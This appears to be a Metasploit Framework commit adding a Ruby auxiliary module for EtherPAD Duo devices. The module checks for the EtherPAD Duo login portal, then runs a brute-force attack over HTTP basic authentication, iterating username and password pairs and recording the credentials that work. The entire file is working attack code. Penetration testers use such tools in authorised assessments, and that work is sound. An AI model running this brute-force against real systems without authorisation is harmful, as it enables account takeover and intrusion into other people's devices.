Land rapid7#2494, @juushya's etherpadduo login module

Author: jvazquez-r7

modules/auxiliary/scanner/http/etherpad_duo_login.rb

@@ -0,0 +1,105 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Report
+  include Msf::Auxiliary::AuthBrute
+  include Msf::Auxiliary::Scanner
+
+  def initialize(info={})
+    super(update_info(info,
+    'Name'           => 'EtherPAD Duo Login Brute Force Utility',
+    'Description'    => %{
+      This module scans for EtherPAD Duo login portal, and
+      performs a login brute force attack to identify valid credentials.
+    },
+    'Author'         =>
+      [
+        'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
+      ],
+    'License'        => MSF_LICENSE
+    ))
+
+  end
+
+  def run_host(ip)
+    unless is_app_epaduo?
+      return
+    end
+
+    print_status("#{peer} - Starting login brute force...")
+    each_user_pass do |user, pass|
+      do_login(user, pass)
+    end
+  end
+
+  #
+  # What's the point of running this module if the target actually isn't EtherPAD Duo
+  #
+
+  def is_app_epaduo?
+    begin
+      res = send_request_cgi(
+      {
+        'uri'       => normalize_uri('/', 'CGI', 'mParseCGI'),
+        'method'    => 'GET',
+        'vars_get'  => {
+          'file' => 'mainpage.html'
+        }
+      })
+    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
+      vprint_error("#{peer} - HTTP Connection Failed...")
+      return false
+    end
+
+    if (res and res.code == 200 and res.headers['Server'].include?("EtherPAD") and res.body.include?("EtherPAD Duo"))
+      vprint_good("#{peer} - Running EtherPAD Duo application ...")
+      return true
+    else
+      vprint_error("#{peer} - Application is not EtherPAD Duo. Module will not continue.")
+      return false
+    end
+  end
+
+  #
+  # Brute-force the login page
+  #
+
+  def do_login(user, pass)
+    vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}")
+
+    begin
+      res = send_request_cgi(
+      {
+        'uri'       => normalize_uri('/', 'config', 'configindex.ehtml'),
+        'method'    => 'GET',
+        'authorization' => basic_auth(user, pass)
+      })
+    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
+      vprint_error("#{peer} - HTTP Connection Failed...")
+      return :abort
+    end
+
+    if res && res.code == 200 && res.body.include?("Home Page") && res.headers['Server'] && res.headers['Server'].include?("EtherPAD")
+      print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
+      report_hash = {
+        :host   => rhost,
+        :port   => rport,
+        :sname  => 'EtherPAD Duo Portal',
+        :user   => user,
+        :pass   => pass,
+        :active => true,
+        :type => 'password'
+      }
+      report_auth_info(report_hash)
+      return :next_user
+    else
+      vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
+    end
+  end
+end